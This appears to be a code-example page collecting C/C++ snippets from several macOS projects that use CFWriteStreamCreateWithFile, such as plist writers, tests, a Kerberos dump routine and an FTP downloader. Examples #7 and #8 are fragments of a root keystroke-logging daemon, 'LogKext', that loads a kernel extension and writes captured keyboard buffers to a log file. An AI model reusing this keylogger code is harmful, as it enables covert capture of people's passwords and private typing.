void writePropertyListToFile (CFDataRef data) {
    CFStringRef errorString;

    CFPropertyListRef propertyList = CFPropertyListCreateFromXMLData (NULL, data, kCFPropertyListMutableContainersAndLeaves, &errorString);

    if (errorString == NULL) {
        CFStringRef urlString = CFStringCreateWithCString (NULL, kFilename, CFStringGetSystemEncoding ());

        CFURLRef fileURL = CFURLCreateWithFileSystemPath (NULL, urlString, kCFURLPOSIXPathStyle, FALSE);

        CFWriteStreamRef stream = CFWriteStreamCreateWithFile (NULL, fileURL);

        Boolean isOpen = CFWriteStreamOpen (stream);

        CFShow (CFSTR ("Property list (as written to file):"));
        CFShow (propertyList);
  
        CFIndex bytesWritten = CFPropertyListWriteToStream (propertyList, stream, kCFPropertyListXMLFormat_v1_0, NULL);

        CFWriteStreamClose (stream);
    }
    else {
        CFShow (errorString);
        CFRelease (errorString);
    }

    CFRelease (propertyList);
}
예제 #2
0
/* @overload write_plist(hash, path)
 *
 * Writes the serialized contents of a property list to the specified path.
 *
 * @note This does not yet support all possible types that can exist in a valid property list.
 *
 * @note This currently only assumes to be given an Xcode project document.
 *       This means that it only accepts dictionaries, arrays, and strings in
 *       the document.
 *
 * @param [Hash] hash     The property list to serialize.
 * @param [String] path   The path to the property list file.
 * @return [true, false]  Wether or not saving was successful.
 */
static VALUE
write_plist(VALUE self, VALUE hash, VALUE path) {
  VALUE h = rb_check_convert_type(hash, T_HASH, "Hash", "to_hash");
  if (NIL_P(h)) {
    rb_raise(rb_eTypeError, "%s can't be coerced to Hash", rb_obj_classname(hash));
  }

  CFMutableDictionaryRef dict = CFDictionaryCreateMutable(NULL,
                                                          0,
                                                          &kCFTypeDictionaryKeyCallBacks,
                                                          &kCFTypeDictionaryValueCallBacks);

  rb_hash_foreach(h, dictionary_set, (st_data_t)dict);

  CFURLRef fileURL = str_to_url(path);
  CFWriteStreamRef stream = CFWriteStreamCreateWithFile(NULL, fileURL);
  CFRelease(fileURL);

  CFIndex success = 0;
  if (CFWriteStreamOpen(stream)) {
    CFStringRef errorString;
    success = CFPropertyListWriteToStream(dict, stream, kCFPropertyListXMLFormat_v1_0, &errorString);
    if (!success) {
      CFShow(errorString);
    }
  } else {
    printf("Unable to open stream!\n");
  }

  CFRelease(dict);
  return success ? Qtrue : Qfalse;
}
예제 #3
0
void Caching_Stream::streamEndEncountered()
{
    if (m_fileOutput) {
        delete m_fileOutput, m_fileOutput = 0;
    }
    
    if (m_cacheable) {
        if (m_writable) {
            CS_TRACE("Successfully cached the stream\n");
            CS_TRACE_CFURL(m_fileUrl);
            
            // We only write the meta data if the stream was successfully streamed.
            // In that way we can use the meta data as an indicator that there is a file to stream.
            
            if (!m_cacheMetaDataWritten) {
                CFWriteStreamRef writeStream = CFWriteStreamCreateWithFile(kCFAllocatorDefault, m_metaDataUrl);
                
                if (writeStream) {
                    if (CFWriteStreamOpen(writeStream)) {
                        CFStringRef contentType = m_target->contentType();
                        
                        UInt8 buf[1024];
                        CFIndex usedBytes = 0;
                        
                        if (contentType) {
                            // It is possible that some streams don't provide a content type
                            CFStringGetBytes(contentType,
                                             CFRangeMake(0, CFStringGetLength(contentType)),
                                             kCFStringEncodingUTF8,
                                             '?',
                                             false,
                                             buf,
                                             1024,
                                             &usedBytes);
                        }
                        
                        if (usedBytes > 0) {
                            CS_TRACE("Writing the meta data\n");
                            CS_TRACE_CFSTRING(contentType);
                            
                            CFWriteStreamWrite(writeStream, buf, usedBytes);
                        }
                        
                        CFWriteStreamClose(writeStream);
                    }
                    
                    CFRelease(writeStream);
                }
                
                m_cacheable = false;
                m_writable  = false;
                m_useCache  = true;
                m_cacheMetaDataWritten = true;
            }
        }
    }
    if (m_delegate) {
        m_delegate->streamEndEncountered();
    }
}
예제 #4
0
void dump_plist(CFMutableDictionaryRef properties) {
    CFWriteStreamRef stdoutStream = NULL;
    CFURLRef devStdout = CFURLCreateWithFileSystemPath(
                                                       NULL,
                                                       CFSTR("/dev/stdout"),
                                                       kCFURLPOSIXPathStyle,
                                                       false
                                                       );
    stdoutStream = CFWriteStreamCreateWithFile(NULL, devStdout);
    CFRelease(devStdout);
    if (stdoutStream == NULL)
        errx(1,"cannot create CFWriteStream for /dev/stdout");
    if (!CFWriteStreamOpen(stdoutStream))
        errx(1,"cannot open CFWriteStream for /dev/stdout");

    CFPropertyListWrite(
                        properties,
                        stdoutStream,
                        kCFPropertyListXMLFormat_v1_0,
                        0,
                        NULL
                        );
    CFWriteStreamClose(stdoutStream);
    CFRelease(stdoutStream);
}
예제 #5
0
TEST( CFPP_WriteStream, CTOR_AutoPointer )
{
    CF::WriteStream s1( CF::AutoPointer( CFWriteStreamCreateWithFile( NULL, CF::URL( "file:///etc/hosts" ) ) ) );
    CF::WriteStream s2( CF::AutoPointer( CFUUIDCreate( NULL ) ) );
    CF::WriteStream s3( CF::AutoPointer( NULL ) );
    
    ASSERT_TRUE(  s1.IsValid() );
    ASSERT_FALSE( s2.IsValid() );
    ASSERT_FALSE( s3.IsValid() );
}
예제 #6
0
TEST( CFPP_WriteStream, OperatorAssignAutoPointer )
{
    CF::WriteStream s1;
    CF::WriteStream s2( CF::URL( "file:///etc/hosts" ) );
    CF::WriteStream s3( CF::URL( "file:///etc/hosts" ) );
    
    ASSERT_FALSE( s1.IsValid() );
    ASSERT_TRUE(  s2.IsValid() );
    ASSERT_TRUE(  s3.IsValid() );
    
    s1 = CF::AutoPointer( CFWriteStreamCreateWithFile( NULL, CF::URL( "file:///etc/hosts" ) ) );
    s2 = CF::AutoPointer( CFUUIDCreate( NULL ) );
    s3 = CF::AutoPointer( NULL );
    
    ASSERT_TRUE(  s1.IsValid() );
    ASSERT_FALSE( s2.IsValid() );
    ASSERT_FALSE( s3.IsValid() );
}
예제 #7
0
int main()
{
	if (geteuid())
	{
		syslog(LOG_ERR,"Error: Daemon must run as root.");
		exit(geteuid());
	}

	encrypt_buffer = CFDataCreateMutable(kCFAllocatorDefault,8);
	
/*********Set up File**********/

	if (!(pathName = (CFStringRef)CFPreferencesCopyAppValue(PATHNAME_PREF_KEY,PREF_DOMAIN)))
	{
		pathName = CFSTR(DEFAULT_PATHNAME);
		CFPreferencesSetAppValue(PATHNAME_PREF_KEY,pathName,PREF_DOMAIN);
	}

	CFURLRef logPathURL = CFURLCreateWithFileSystemPath(kCFAllocatorDefault,pathName,kCFURLPOSIXPathStyle,false);	
	logStream = CFWriteStreamCreateWithFile(kCFAllocatorDefault,logPathURL);
	CFRelease(logPathURL);

	if (!logStream)
	{
		syslog(LOG_ERR,"Error: Couldn't open file stream at start.");	
		return 1;
	}

/*********Check encryption & keymap**********/

	updateEncryption();
	updateKeymap();

/*********Check space**********/

	if (outOfSpace(pathName))
	{
		stamp_file(CFSTR("Not enough disk space remaining!"));
		CFRunLoopStop(CFRunLoopGetCurrent());
	}

/*********Connect to kernel extension**********/
	
	if (!connectToKext())
	{
		if (load_kext())
		{
			stamp_file(CFSTR("Could not load KEXT"));
			return 1;
		}
		if (!connectToKext())
		{
			stamp_file(CFSTR("Could not connect with KEXT"));
			return 1;
		}
	}
	sleep(1);		// just a little time to let the kernel notification handlers finish
	
	stamp_file(CFSTR("LogKext Daemon starting up"));
	// stamp login file with initial user
	LoginLogoutCallBackFunction(NULL, NULL, NULL);
	
	CFPreferencesAppSynchronize(PREF_DOMAIN);
	
/*********Create Daemon Timer source**********/

	CFRunLoopTimerContext timerContext = { 0 };
	CFRunLoopSourceRef loginLogoutSource;	
    if (InstallLoginLogoutNotifiers(&loginLogoutSource))
		syslog(LOG_ERR,"Error: could not install login notifier");
	else
		CFRunLoopAddSource(CFRunLoopGetCurrent(),loginLogoutSource, kCFRunLoopDefaultMode);

	CFRunLoopTimerRef daemonTimer = CFRunLoopTimerCreate(NULL, 0, TIME_TO_SLEEP, 0, 0, DaemonTimerCallback, &timerContext);
	CFRunLoopAddTimer(CFRunLoopGetCurrent(), daemonTimer, kCFRunLoopCommonModes);

	
	CFRunLoopRun();
	
	stamp_file(CFSTR("Server error: closing Daemon"));	
	CFWriteStreamClose(logStream);
}
예제 #8
0
void DaemonTimerCallback( CFRunLoopTimerRef timer, void *info )
{
/*********Wait if not logging**********/

	Boolean validKey;
	CFPreferencesAppSynchronize(PREF_DOMAIN);
	CFBooleanRef isLogging = (CFPreferencesGetAppBooleanValue(CFSTR("Logging"),PREF_DOMAIN,&validKey))?kCFBooleanTrue:kCFBooleanFalse;
	if (!validKey)
	{
		isLogging = kCFBooleanTrue;
		CFPreferencesSetAppValue(CFSTR("Logging"),isLogging,PREF_DOMAIN);
	}
	
	if (!CFBooleanGetValue(isLogging))
		return;
	
/********* Check the buffer **********/

	int buffsize=0;
	int keys=0;
	getBufferSizeAndKeys(&buffsize,&keys);

	#ifdef DEBUG
		syslog(LOG_ERR,"Buffsize %d, Keys %d.",buffsize,keys);	
	#endif

	if (!keys)			// no keyboards logged
		return;

	if (buffsize < MAX_BUFF_SIZE/10)
		return;

/********* Get the buffer **********/

	CFStringRef the_buffer = getBuffer();
	
/********* Check defaults/file **********/		

	CFStringRef curPathName = (CFStringRef)CFPreferencesCopyAppValue(PATHNAME_PREF_KEY,PREF_DOMAIN);
	if (!curPathName)		// path has been deleted
	{
		pathName = CFSTR(DEFAULT_PATHNAME);
		CFPreferencesSetAppValue(PATHNAME_PREF_KEY,pathName,PREF_DOMAIN);

		logStream = CFWriteStreamCreateWithFile(kCFAllocatorDefault,CFURLCreateWithFileSystemPath(kCFAllocatorDefault,pathName,kCFURLPOSIXPathStyle,false));

		if (!logStream)
		{
			syslog(LOG_ERR,"Error: Couldn't open file stream while running.");	
			return;
		}
	}
	else if (CFStringCompare(curPathName,pathName,0)!=kCFCompareEqualTo)	// path has changed
	{
		pathName = curPathName;			
		logStream = CFWriteStreamCreateWithFile(kCFAllocatorDefault,CFURLCreateWithFileSystemPath(kCFAllocatorDefault,pathName,kCFURLPOSIXPathStyle,false));

		if (!logStream)
		{
			syslog(LOG_ERR,"Error: Couldn't open file stream while running.");	
			return;
		}
		
		CFDataDeleteBytes(encrypt_buffer,CFRangeMake(0,CFDataGetLength(encrypt_buffer)));
	}

	if (!fileExists(pathName))		// when file is deleted, we resync the encryption & keymap preferences
	{
		CFPreferencesAppSynchronize(PREF_DOMAIN);
		updateEncryption();
		updateKeymap();

		logStream = CFWriteStreamCreateWithFile(kCFAllocatorDefault,CFURLCreateWithFileSystemPath(kCFAllocatorDefault,pathName,kCFURLPOSIXPathStyle,false));
		if (!logStream)
		{
			syslog(LOG_ERR,"Error: Couldn't open file stream while running.");	
			return;
		}

		stamp_file(CFSTR("LogKext Daemon created new logfile"));
	}

	if (outOfSpace(pathName))
	{
		stamp_file(CFSTR("Not enough disk space remaining!"));
		return;
	}

/********* Finally, write the buffer **********/

	write_buffer(the_buffer);
	CFRelease(the_buffer);		
	
	return;
}
예제 #9
0
File_Output::File_Output(CFURLRef fileURL) :
    m_writeStream(CFWriteStreamCreateWithFile(kCFAllocatorDefault, fileURL))
{
    CFWriteStreamOpen(m_writeStream);
}
예제 #10
0
파일: dump.c 프로젝트: aosm/Heimdal
static krb5_error_code
od_dump_entry(krb5_context kcontext, HDB *db, hdb_entry_ex *entry, void *data)
{
    CFErrorRef error = NULL;
    CFDictionaryRef dict;
    CFStringRef fn, uuidstr;
    CFUUIDRef uuid;
    CFURLRef url;

    dict = HeimODDumpHdbEntry(&entry->entry, &error);
    if (dict == NULL) {
	if (error)
	    CFRelease(error);
	return 0;
    }

    uuid = CFUUIDCreate(NULL);
    if (uuid == NULL) {
	krb5_warnx(kcontext, "out of memory");
        CFRelease(dict);
	return 0;
    }
    
    uuidstr = CFUUIDCreateString(NULL, uuid);
    CFRelease(uuid);
    if (uuidstr == NULL) {
	krb5_warnx(kcontext, "out of memory");
        CFRelease(dict);
	return 0;
    }

    fn = CFStringCreateWithFormat(NULL, NULL, CFSTR("%s/%@.plist"), (char *)data, uuidstr);
    CFRelease(uuidstr);
    if (fn == NULL) {
	krb5_warnx(kcontext, "out of memory");
        CFRelease(dict);
	return 0;
    }

    url = CFURLCreateWithFileSystemPath(NULL, fn,  kCFURLPOSIXPathStyle, false);
    CFRelease(fn);
    if (url == NULL) {
	krb5_warnx(kcontext, "out of memory");
        CFRelease(dict);
	return 0;
    }

    CFDataRef xmldata = CFPropertyListCreateData(NULL, dict, kCFPropertyListXMLFormat_v1_0, 0, NULL);
    CFRelease(dict);
    if (xmldata == NULL) {
	CFRelease(url);
	krb5_warnx(kcontext, "out of memory");
	return 0;
    }

    CFWriteStreamRef stream = CFWriteStreamCreateWithFile(NULL, url);
    if (stream) {
	if (CFWriteStreamOpen(stream))
	    CFWriteStreamWrite(stream, CFDataGetBytePtr(xmldata), CFDataGetLength(xmldata));
	CFWriteStreamClose(stream);
	CFRelease(stream);
    }

    CFRelease(url);
    CFRelease(xmldata);

    return 0;
}
예제 #11
0
/* MySimpleDownload implements the download command.  It sets up a MyStreamInfo 'object' 
with the read stream being an FTP stream of the file to download and the write stream being 
a file stream of the destination file.  It then returns, and the real work happens 
asynchronously in the runloop.  The function returns true if the stream setup succeeded, 
and false if it failed. */
static Boolean
MySimpleDownload(CFStringRef urlString, CFURLRef destinationFolder, CFStringRef username, CFStringRef password)
{
    CFReadStreamRef        readStream;
    CFWriteStreamRef       writeStream;
    CFStreamClientContext  context = { 0, NULL, NULL, NULL, NULL };
    CFURLRef               downloadPath, downloadURL;
    CFStringRef            fileName;
    Boolean                dirPath, success = true;
    MyStreamInfo           *streamInfo;

    assert(urlString != NULL);
    assert(destinationFolder != NULL);
    assert( (username != NULL) || (password == NULL) );

    /* Returns true if the CFURL path represents a directory. */
    dirPath = CFURLHasDirectoryPath(destinationFolder);
    if (!dirPath) {
        fprintf(stderr, "Download destination must be a directory.\n");
        return false;
    }
    
    /* Create a CFURL from the urlString. */
    downloadURL = CFURLCreateWithString(kCFAllocatorDefault, urlString, NULL);
    assert(downloadURL != NULL);

    /* Copy the end of the file path and use it as the file name. */
    fileName = CFURLCopyLastPathComponent(downloadURL);
    assert(fileName != NULL);

    /* Create the downloadPath by taking the destination folder and appending the file name. */
    downloadPath = CFURLCreateCopyAppendingPathComponent(kCFAllocatorDefault, destinationFolder, fileName, false);
    assert(downloadPath != NULL);
    CFRelease(fileName);

    /* Create a CFWriteStream for the file being downloaded. */
    writeStream = CFWriteStreamCreateWithFile(kCFAllocatorDefault, downloadPath);
    assert(writeStream != NULL);
    CFRelease(downloadPath);
    
    /* CFReadStreamCreateWithFTPURL creates an FTP read stream for downloading from an FTP URL. */
    readStream = CFReadStreamCreateWithFTPURL(kCFAllocatorDefault, downloadURL);
    assert(readStream != NULL);
    CFRelease(downloadURL);
    
    /* Initialize our MyStreamInfo structure, which we use to store some information about the stream. */
    MyStreamInfoCreate(&streamInfo, readStream, writeStream);
    context.info = (void *)streamInfo;

    /* CFWriteStreamOpen will return success/failure.  Opening a stream causes it to reserve all the
    system resources it requires.  If the stream can open non-blocking, this will always return TRUE;
    listen to the run loop source to find out when the open completes and whether it was successful. */
    success = CFWriteStreamOpen(writeStream);
    if (success) {
    
        /* CFReadStreamSetClient registers a callback to hear about interesting events that occur on a stream. */
        success = CFReadStreamSetClient(readStream, kNetworkEvents, MyDownloadCallBack, &context);
        if (success) {

            /* Schedule a run loop on which the client can be notified about stream events.  The client
            callback will be triggered via the run loop.  It's the caller's responsibility to ensure that
            the run loop is running. */
            CFReadStreamScheduleWithRunLoop(readStream, CFRunLoopGetCurrent(), kCFRunLoopCommonModes);
            
            MyCFStreamSetUsernamePassword(readStream, username, password);
            MyCFStreamSetFTPProxy(readStream, &streamInfo->proxyDict);
            
            /* Setting the kCFStreamPropertyFTPFetchResourceInfo property will instruct the FTP stream
            to fetch the file size before downloading the file.  Note that fetching the file size adds
            some time to the length of the download.  Fetching the file size allows you to potentially
            provide a progress dialog during the download operation. You will retrieve the actual file
            size after your CFReadStream Callback gets called with a kCFStreamEventOpenCompleted event. */
            CFReadStreamSetProperty(readStream, kCFStreamPropertyFTPFetchResourceInfo, kCFBooleanTrue);
            
            /* CFReadStreamOpen will return success/failure.  Opening a stream causes it to reserve all the
            system resources it requires.  If the stream can open non-blocking, this will always return TRUE;
            listen to the run loop source to find out when the open completes and whether it was successful. */
            success = CFReadStreamOpen(readStream);
            if (success == false) {
                fprintf(stderr, "CFReadStreamOpen failed\n");
                MyStreamInfoDestroy(streamInfo);
            }
        } else {
            fprintf(stderr, "CFReadStreamSetClient failed\n");
            MyStreamInfoDestroy(streamInfo);
        }
    } else {
        fprintf(stderr, "CFWriteStreamOpen failed\n");
        MyStreamInfoDestroy(streamInfo);
    }

    return success;
}